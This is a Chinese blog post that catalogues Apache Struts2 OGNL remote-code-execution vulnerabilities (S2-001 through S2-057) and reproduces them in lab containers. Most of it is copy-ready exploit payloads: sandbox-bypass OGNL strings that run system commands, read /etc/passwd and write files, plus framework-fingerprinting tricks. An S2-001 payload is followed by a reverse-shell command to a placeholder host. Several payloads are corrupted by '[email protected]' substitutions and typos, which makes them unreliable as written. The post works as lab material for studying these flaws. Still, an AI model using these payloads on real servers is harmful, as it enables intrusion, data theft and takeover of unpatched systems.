Struts2框架漏洞总结与复现 | 您所在的位置:网站首页 › spring框架漏洞原理 › Struts2框架漏洞总结与复现 |
熬不住的时候,才正是修行时! Struts2漏洞基础OGNL(Object Graphic Navigation Language)表达式语言(其他表达式语言又SpEL、JbossEL……) 帮助开发人员用简单表达式完成一些“常规”工作,使工作简化 链式结构:step1,step2,…..result 表达式使用实例常量字符串:'hel',数字:12,大整数:1000000H,大浮点:10.01B数组访问访问:"name".toCharArray()[0] 判断:'nsfocus' in {'nsfocus','nsfocus1'}变量的引用#name引用新建立的变量静态变量的访问@class@field静态方法的调用@class@method(args),@@floor(10.9)对于常用类还可以这样子用构造函数的调用new javaj.util.ArrayList()方法调用#user.hashcode()返回对象的哈希码OgnlContext----OGNL上下文关系 以map的形式存放大量的JavaBean对象 可以通过setRoot(object)设置上下文中的根对象根对象数据在访问的时候就不需要加# _root:在OgnlContext内维护着的Root对象,它是OGNL的主要操作对象 _values:以HashMap形式保存传入OgnlContext的上下文环境(如对象、属性值) ClassResolver:指定处理class loading的处理了,默认Resolver调用Class.forName TypeConverter:指定处理类,指定对象转成字符串以及字符串转对象的处理方式 _memberAccess:指定属性访问策略 OGNL的#号 访问非根属性 用于过滤和投影:subs.{?#this.i>1} 用来构造map:#{k:v,k:v} Lambda:{e} Struts2Struts2框架 用于开发Java EE网络应用程序的开放源代码网页应用程序架构 具有一个前身交做Sruts1 开发者喜欢配合spring、hibernat用,称SSH 以OGNL作为默认的表达式语言 Struts2是MVC基础的框架 Model负责数据维护,包括数据和业务逻辑(Action) View负责向用户呈现数据(Result) Controller通过代码控制 S2中的%$S2中的OGNL代码串通常都以这两个符号开头 而且还会先检查一次%{再检查一次${ %号 %{}可以去除存在值valueStack中的Action对象- 例如ActionSupport中有get Text方法,则:%{getText('key')} $号 在国际化资源文件中,引用OGNL表达式- 在Struts2中引用OGNL表达式 Struts2识别500报错识别 通过网页后缀进行识别 默认.cation,有些人会改成.do srtuts.action.exension的value设置成action,甚至能够不带后缀解析action Spring MVC也会有加的情况 /struts/webconsole.html 需要devMode为true actionErrors http://www.example.com/?actionErrors=121 需要请求后产生异常,异常包括但不限于 页面直接出现404或者500等错误 页面上输出了与业务有关错误信息,或者121被回显到了页面上 页面的内容结构发生了明显的改变 页面发生了重定向 request_only_locale 需要目标存在国际化,修改此参数值能够导致页面变化 http://www.example.com/?requesu_onlu_locale=jp CheckboxInterceptor 需要一个返回到页面上的字符串类型的参数 如搜索中输入的字符串可能会出现在结构页面:搜索”XXX“结果如下 例如有个页面 有 http://www.example.com/?search=nsfocus ,页面中回显nsfocus 访问 http://www.example.com/?checkbox_search=nsfocus ,返回编程false则是struts2 暂时还没有发现100%探测Struts2框架的方法 漏洞探测思路 在探测到目标网站使用了Struts2框架后(有回显) 根据漏洞触发点进行漏洞探测 一般按照从新漏洞到旧漏洞的顺序进行尝试 注意并非新漏洞不存在就肯定没有旧漏洞 尽量以最小payload进行检测 使用工具或者脚本一般都是直接跑利用 利用脚本可能会被waf、Filter、Struts2的配置拦截 因此一般都是使用:${1111}、%{1111} 查看返回数据是否执行了ognl,例如11*11=121 不过一定要有返回才能这样子测试 对于没有明显回显的Struts2漏洞(代码执行/命令执行) 构造时间 代码:java.lang.Thread.sleep(5000) 生成文件 - 最大问题应该是文件位置 代码:java.io.File('./test.txt') 带外请求(需要能够连通外网) 代码:new URL(dnslog).openConnection() 构造回显 代码:@org.apache.commons.io.IOUtils@toString(XXXX.getInputStream()) Struts2利用目标对于Struts2利用需要通过代码执行/命令执行/webshell/反弹shell/执行木马/拿SSH等凭据 利用的payload构造 通过OGNL取消Struts2的防护 利用静态/动态方法调用写入文件或者执行命令 如果需要,则通过输出返回结果(时间、带外、回显) a=${#_memberAccess["allowStaticMethodAccess"]=true #[email protected]@getRuntime().exec('cat/etc/passwd').getlnputStream(), #b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#[email protected]@getResp onse().getWrite(),#out.println('121='+new java.lang.String(#d)),#out.close()} Struts2常见Bypass手段Struts2常见防护控制 allowStraticMethodAccess - @java.lang.Runtime@getRuntime().exec因为是静态方法必定需要这个为true - new绕过:new java.lang.ProcessBuilder - OGNL绕过:#_memberAccess['allowStaticMethodAccess']=true, - 反射绕过:getDeclaredField + serAccessible + setallowStaticFieldAccess 是否允许访问静态属性 OBNL绕过:#_memberAccess['allowStaticFieldAccess']=true, xwork.MethodAccessor.denyMethodExecution 顾名思义是防止OGNL调用方法 OGNL绕过:#context['xwork.MethodAccessor.denyMethodExecution'] = false excludedPackageNames - HashSet - 在ognlUtil Struts维护的一个黑名单,禁止相关包的调用 清楚绕过:#ognlUtil.getExcludedPackageNames().clear() 覆盖绕过:#_memberAccess['excludedPackageNames']=#_memberAccess['acceptProperties'] excludedClasses - HashSet - 在ognlUtil Struts维护的一个黑名单,禁止相关class的调用 清除绕过:#ognlUtil.getExcludeClasses().clear() 覆盖绕过:#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'] excludedPackageNamePatterns - HashSet - 在ognlUtil 旧版本中Struts建立的一个黑名单,禁止调用匹配成功的package Payload的变换 防护Payload变换 调用式: #_memberAccess.allowStaticMethodAccess=true 数组式: #_memeberAccess['allowStaticMethodAccess']=true 反射式: #f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true) 覆盖式: #[email protected]@DEFAULT_MEMBER_ACCESS, 调用式: #container=#context["com.opensymphony.xwork2.ActionContext.container"],#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class),#ognlUtil.getExcludedPackageNames().clear() 调用式: #[email protected]@EMPTY_SET Struts2框架漏洞总结Struts2简介简介 Struts2是apache项目下的一个web 框架,普遍应用于阿里巴巴、京东等互联网、政府、企业门户网站 Struts2是一个基于MVC设计思路的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器来建立模型与视图的数据交互。Struts2是Struts的下一代产品,是在Struts1和WebWork的技术基础上进行了合并的全新的Struts2框架。其全新的Struts2的体系结构与Struts1的体系结构差别巨大。Struts2以WebWork为核心,采用拦截器的机制来处理用户的请求, 这样的设计也使得业务逻辑控制器能够与Servlet API完全脱离开,所以Struts2可以理解为WebWork的更新产品。虽然从Struts1到Struts2有着太大的变化,但是相对于WebWork,Struts2的变化很小。 Apache Struts2是一个基于MVC设计模式的Web应用框架,会对某些标签属性(比如id)的属性值进行二次表达式解析,因此在某些场景下将可能导致远程代码执行。 下载详情 可参考Apache Struts官方链接,不同版本中漏洞情况也不一致;下载对应版本的Struts即可验证对应漏洞。 http://archive.apache.org/dist/struts/binaries/ 漏洞靶场 https://hub.docker.com/r/2d8ru/struts2 https://vulhub.org/ 判断Struts2框架常规办法有 1、通过页面回显的错误消息来判断,页面不回显错误消息时则无效。 2、通过网页后缀来判断,如.do.action,有可能不准。 3、判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true。 其它的方法:通过 actionErrors。要求是对应的 Action 需要继承自 ActionSupport 类。 利用方法:如原始 URL 为 https://threathunter.org/则检测所用的 URL 为 https://threathunter.org/?actionErrors=1111 如果返回的页面出现异常,则可以认定为目标是基于 Struts2 构建的。异常包括但不限于以下几种现象: 1、 页面直接出现 404 或者 500 等错误。 2、 页面上输出了与业务有关错误消息,或者 1111 被回显到了页面上。 3、 页面的内容结构发生了明显的改变。 4、 页面发生了重定向。 Struts2本地安装搭建Tomcat https://archive.apache.org/dist/tomcat/tomcat-7/v7.0.88/bin/ 搭建各版本Struts2环境 自动部署 搭建完成 Struts2 linux-docker-vulhub环境搭建 参考我的上一篇文章 Struts2漏洞复现 本地S2-001远程执行代码漏洞漏洞简介 漏洞原理:该漏洞因用户提交表单数据并且验证失败时,后端将用户之前提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用%{value}对提交的数据执行了一次OGNL表达式解析,所以可以直接构造Payload进行命令执行 影响版本:Struts 2.0.0 - 2.0.8 漏洞复现 访问靶机 http://192.168.27.178:8080/S2-001(CVE-2007-4556)/ 验证漏洞是否存在 输入%{'YLion'},返回YLion,则证明存在该漏洞 构造poc,填到password框: Poc获取Tomcat路径: %{"tomcatBinDir{"[email protected]@getProperty("user.dir")+"}"}获取网站的真实路径: Poc获取web服务路径: %{#[email protected]@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}命令执行 本次复现是在windows本地搭建 %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}把pwd改为whoami S2-005远程执行代码漏洞漏洞简介 漏洞原理:s2-005漏洞起源于s2-003(受影响版本:低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过导致漏洞,攻击者可以利用OGNL表达式将这两个选项打开 影响版本 Struts 2.0.0 - 2.1.8.1 绕过过程 在S2-003中\u0023用于绕过Struts2的过滤器# 在s2-003,struts2添加安全模式(沙盒)之后 在s2-005中,使用OGNL表达式关闭安全模式并再次绕过 漏洞复现 访问靶机: http://192.168.27.178:8080/S2-005(CVE-2010-1870)/example/HelloWorld.action 使用Poc 右键选择该选项变为post (%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%[email protected]@getRuntime()))=1在tmp创建一个success文件 使用k8工具尝试 S2-007远程执行代码漏洞漏洞简介 https://cwiki.apache.org/confluence/display/WW/S2-007 漏洞原理: age来自用户输入,传递一个非整数给id导致错误,struts2会将用户的输入当作ongl表达式执行,从而导致漏洞 当 -vaildation.xml 配置的验证规则。如果类型验证转换失败,则服务器将拼接用户提交的表单值字符串,然后执行OGNL表达式解析并返回 例,这是一个UserAction: (...) public class UserAction extends ActionSupport { private Integer age; private String name; private String email; (...)并UserAction-validation.xml配置: 1 150当用户age以str的形式提交int时,服务器"'" + value + "'"将对代码进行拼接,然后使用OGNL表达式对其进行解析。我们需要找到一个配置有相似验证规则的表单字段,以产生转换错误。然后,您可以通过注入SQL单引号的方式注入任何OGNL表达式代码 影响版本:Struts 2.0.0 - 2.2.3 漏洞复现 访问靶机 验证漏洞是否存在 在年龄框中输入非数字型点击登录,年龄框中的value变为11,证明漏洞存在 S2-057远程执行代码漏洞漏洞简介 漏洞原理: -alwaysSelectFullNamespace是-操作元素未设置名称空间属性,或使用了通配符 用户将从url传递名称空间,并将其解析未OGNL表达式,最终导致远程代码执行漏洞 -alwaysSelectFullNamespace为true -action元素没有设置namespace属性,或者使用了通配符 命名空间将由用户从url传递并解析为OGNL表达式,最终导致远程代码执行漏洞 影响版本 Struts 2.3-2.3.34 Struts 2.5-2.5.16 开启漏洞环境 linux下docker-vulhub 进入vulhub下Struts2下S2-057下 sudo docker-compose up -d windows本地复现 如上文本地搭建环境介绍,打开tomcat即可 漏洞复现 访问靶机 http://127.0.0.1:8080/S2-057(CVE-2018-11776)/index (windows) http://192.168.253.7:8080/index (linux) 验证漏洞是否存在 Poc如下: /%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27ipconfig%27%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action也可以打开计算器: /%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27ipconfig%27%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action以下是Poc源码,转换为URL编码即可 ${(#[email protected]@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionC ontext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou. getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#[email protected]@getRuntime().exec('id')).(@org.apache.commons.io.IOUt ils@toString(#a.getInputStream()))} /actionChain1.action Struts2漏洞复现 VulhubS2-001远程执行代码漏洞漏洞简介 漏洞原理 该漏洞因用户提交表单数据并验证失败时,后端会将用户之前提交的参数使用OGNL表达式%(value)进行解析,然后重新填充到对应的表单数据中,如注册或登录页面,提交失败后一般会默认返回之前提交饿数据,由于后端使用%(value)对提交的数据执行了一次OGNL表达式解析,所以可以直接构造Payload进行命令执行 影响版本 Struts 2.0.0 - 2.0.8 开启漏洞环境 开启Struts2-001漏洞 cd /root/vulhub/struts2/s2-001 sudo docker-compose up -d 验证是否开启 docker ps 漏洞复现 访问靶机 http://127.0.0.1:8080/ 注意:如果靶机和攻击机是同一台机器的话,要把docker映射端口或者是burp抓包端口进行更改,默认都是8080,此处我将burp默认配置改为8888端口 验证漏洞是否存在 输入 %{'yxc'} 返回yxc的就是存在该漏洞 构造poc,填到password框 Poc获取tomcat路径: %{"tomcatBinDir{"[email protected]@getProperty("user.dir")+"}"} 获取网站真实路径 poc: %{#[email protected]@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}执行命令 %{ \#a=(new java.lang.ProcessBuilder(new java.lang.String[{"whoami"})).redirectErrorStream(true).start(),\#b=#a.getInputStream(),\#c=new java.io.InputStreamReader(#b),\#d=new java.io.BufferedReader(#c),\#e=new char[50000],\#d.read(#e),\#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponsw"),\#f.getWriter().println(new java.lang.String(#e)),\#f.getWriter().flush(),#f.getWriter().close()}bash -i >& /dev/tcp/x.x.x.x/port 0>&1 S2-005远程执行代码漏洞漏洞简介 漏洞原理 s2-005漏洞起源于s2-003(受影响版本:低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过导致漏洞,攻击者可以利用OGNL表达式将这两个选项打开 影响版本 Struts 2.0.0 - 2.1.8.1 绕过过程 在S2-003中\u0023用于绕过Struts2的过滤器# 在s2-003,struts2添加安全模式(沙盒)之后 在s2-005中,使用OGNL表达式关闭安全模式并再次绕过 开启漏洞环境 开启Struts2-001漏洞 cd /root/vulhub/struts2/s2-001 sudo docker-compose up -d 验证是否开启 docker ps 漏洞复现 访问靶机 http://127.0.0.1:8080/example/HelloWorld.action 构造poc在tmp中创建一个success文件 这里创建的文件在docker的底层目录下 先抓包改为POST传参 (%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%[email protected]@getRuntime()))=1 执行命令 S2-007远程执行代码漏洞漏洞简介 漏洞原理: age来自用户输入,传递一个非整数给id导致错误,struts2会将用户的输入当作ongl表达式执行,从而导致漏洞 当 -vaildation.xml 配置的验证规则。如果类型验证转换失败,则服务器将拼接用户提交的表单值字符串,然后执行OGNL表达式解析并返回 例,这是一个UserAction: (...) public class UserAction extends ActionSupport { private Integer age; private String name; private String email; (...)并UserAction-validation.xml配置: 1 150当用户age以str的形式提交int时,服务器"'" + value + "'"将对代码进行拼接,然后使用OGNL表达式对其进行解析。我们需要找到一个配置有相似验证规则的表单字段,以产生转换错误。然后,您可以通过注入SQL单引号的方式注入任何OGNL表达式代码 影响版本:Struts 2.0.0 - 2.2.3 开启漏洞环境 开启S2-007漏洞环境 sudo docker-compose up -d 验证漏洞是否开启 docker ps 漏洞复现 访问靶机 ![38](https://gitee.com/yxcyxcyyy/images/raw/master/20210808232059.png)连续做漏洞复现的话,可能会无法访问新的漏洞环境,可以清理一下缓存 验证漏洞是否存在 在年龄框中输入非数字型点击登录,年龄框的数字变化如上图,证明漏洞存在 查找底层目录信息 %27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27ls%20/%27%29.getInputStream%28%29%29%29+%2B+%27枚举了目录信息 枚举yxc.txt信息 在目录下创建一个自己写的文件 docker exec -ti f230963128fa bash cd/ mkdir yxc 创建一个名字是yxc的文件夹 cat>>yxc.txt echo hello yxc>>yxc.txt 在yxc目录下创建yxc.txt,并写入hello yxc cat yxc.txt 查看文件内容 %27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27cat%20/yxc/yxc.txt%27%29.getInputStream%28%29%29%29+%2B+%27可以执行任意代码的EXP: ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExe cution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + ' 或者: %27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context %5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40 getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29+%2B+%27 将EXP放入年龄输入框,然后获取命令执行结果 把whoami换成id 查看日志 docker exec -ti f230963128fa bash cd logs ls cat localhost_access_log.2021-07-29.txt S2-008远程执行代码漏洞漏洞简介 漏洞原理 S2-008涉及多个漏洞,Cookie拦截器配置错误可造成OGNL表达式执行,但是由于大多Web容器(如Tomcat)对Cookie名称都有字符限制,一些关键字符无法使用,使得这个点显得没啥用。另一个没啥用的点就是在struts2应用开启dev Mode模式后会有多个调试接口能够直接查看对象信息或直接执行命令,但是这种情况在生产环境中几乎不可能存在 影响版本 Struts2.1.0 - 2.3.1 开启漏洞环境 开启s2-008漏洞环境 sudo docker-compose up -d 漏洞复现 验证漏洞是否存在 poc: /devmode.action?debug=command&expression=(%[email protected]@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=whoami S2-009远程执行代码漏洞漏洞简介 漏洞原理 OGNL提供了广泛的表达式评估等功能。该漏洞允许恶意用户绕过ParametersInterceptor内置的所有保护(正则表达式,拒绝方法调用),从而能够将任何暴露的字符串变量中的恶意表达式注入进行进一步评估。ParametersInterceptor中的正则表达式将top ['foo'] (0) 作为有效的表达式匹配,OGNL将其作为(top['foo']) (0)处理,并将“foo”操作参数的值作为OGNL表达式求值。这使得恶意用户将任意的OGNL语句放入由操作公开的任何String变量中,并将其评估为OGNL表达式,并且由于OGNL语句在HTTP参数中,攻击者可以使用黑名单字符(例如 # )禁用方法执行并执行任意方法,绕过ParametersInterceptor和OGNL库保护 影响版本 Struts 2.1.0 - 2.3.1.1 操作方法 Struts2对s2-003的修复方式是禁用#号,于是s2-005通过使用编码\u0023或\43来绕过,后来Struts2对于s2-005的修复方式是禁用\等特殊符号,使用户不能提交反斜线 但是,如果当前action中接受了某个参数example,这个参数将进入OGNL的上下文。所以,我们可以将OGNL表达式放在example参数中,然后使用 /helloword.action?example=&(example)('xxx')=1 的方法来执行它,从而绕过官方对#、\等特殊字符的防御 开启漏洞环境 开启s2-009漏洞 sudo docker-compose up -d docker ps 漏洞复现 验证漏洞是否存在 poc-1: /ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_m emberAccess[%22allowStaticMethodAccess%22]=true,+%[email protected]@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.i o.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%[email protected] vletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]构造poc,枚举/etc/passwd http://127.0.0.1:8080/ajax/example5?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%[email protected]@getRuntime().exec(%22cat%20/etc/passwd%22).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%[email protected]@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]创建用户执行命令 http://127.0.0.1:8080/ajax/example5?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boo%20lean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%[email protected]@getRuntime().exec(%22touch%20/tmp/yxc007%22).ge%20tInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%2%[email protected]@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27m%20eh%27)]然后可在docker底层目录查看 /tmp 下创建的用户 poc-2 这里转换post请求访问 /ajax/example5 z[%28name%29%28%27meh%27%29]&age=12313&name=(#context["xwork.MethodAccessor.denyMethodExecution"]=false,#_memberAccess["allowStaticMethodAccess"]=true,#[email protected]@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#[email protected]@getResponse().getWriter(),#s.println(#d),#s.close())(meh) S2-012远程执行代码漏洞漏洞简介 如果在配置 Action 中 Result 时使用了重定向类型,并且还使用paramname作为重定向变量,UserAction中定义有一个name变量,当触发redirect类型返回时,Struts2获取使用{name}获取其值,在这个过程中会对name参数的值执行OGNL表达式解析,从而可以插入任何OGNL表达式导致命令执行 影响版本 Struts 2.1.0 - 2.3.13 开启漏洞环境 sudo docker-compose up -d docker ps 漏洞复现 验证漏洞是否存在 poc-1 %25%7B%23a%3D(new java.lang.ProcessBuilder(new java.lang.String%5B%5D%7B%22%2Fbin%2Fbash%22%2C%22-c%22%2C %22ls%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew java.io.InputStreamReader(%23b)%2C%23d%3Dnew java.io.BufferedReader(%23c)%2C%23e%3Dnew char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D 输入1,然后回车抓包,把1改为poc 需要URL编码,否则500. 构造poc,枚举/etc/passwd %25%7B%23a%3D(new java.lang.ProcessBuilder(new java.lang.String%5B%5D%7B%22cat%22%2C %22%2Fetc%2Fpasswd%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew java.io.InputStreamReader(%23b)%2C%23d%3Dnew java.io.BufferedReader(%23c)%2C%23e%3Dnew char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D原poc(编码前): %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStr eam(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter ().close()} S2-013远程执行代码漏洞漏洞简介 漏洞原理 Struts2的标签中和中都有一个includeParams属性,可以设置成如下值: none - URL中不包含任何参数(默认) get - 仅包含URL中的GET参数 all - 在URL中包含GET和POST参数 此时,或尝试去解析原始请求时,会导致OGNL表达式的执行 影响版本 Struts2.0.0 - 2.3.14 开启漏洞环境 cd /vulhub/struts2/s2-013 docker-compose up -d docker ps 漏洞复现 验证漏洞是否存在poc1 http://127.0.0.1:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27id%27).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%27dbapp%3D%27%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7Dpoc2: http://127.0.0.1:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27ls%27).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%27dbapp%3D%27%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7DS2-014拓展 s2-014是对s2-013的修正,因为在固定s2-013时,将忽略 $ {ognl_exp} 之类的OGNL表达式的执行方法,而s2-014是它的增强补丁 http://192.168.253.7:8080/link.action?xxxx=%24%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%[email protected]@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29%29%7D S2-015远程执行代码漏洞漏洞简介 漏洞原理 如果请求与任何其他已定义的操作都不匹配,它将被*匹配,并且所请求的操作名称将用于基于操作名称加载JSP文件。并且 {1} 的值作为OGNL表达式受到威胁,因此允许在服务器端执行任意JAVA代码。此漏洞使两个问题的组合: 请求的操作名称未转义或再次被列入白名单 当使用 $ 和 % 开放字符的组合时,对TextParseUtil.translateVariables中的OGNL表达式进行双重评估 影响版本 Struts 2.0.0 - 2.3.14.2 开启漏洞环境 ../ cd s2-015 docker-compose up -d docker ps 漏洞复现 验证漏洞是否存在-poc-1 http://127.0.0.1:8080/1 用这种方法抓包,将1改为poc ${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess') ,#m.setAccessible(true),#m.set(#_memberAccess,true),#[email protected]@toString(@java.lang.Runtime@getRuntime().exec(' id').getInputStream()),#q}.action需要进行URL编码,以上为原码,以下为编码后 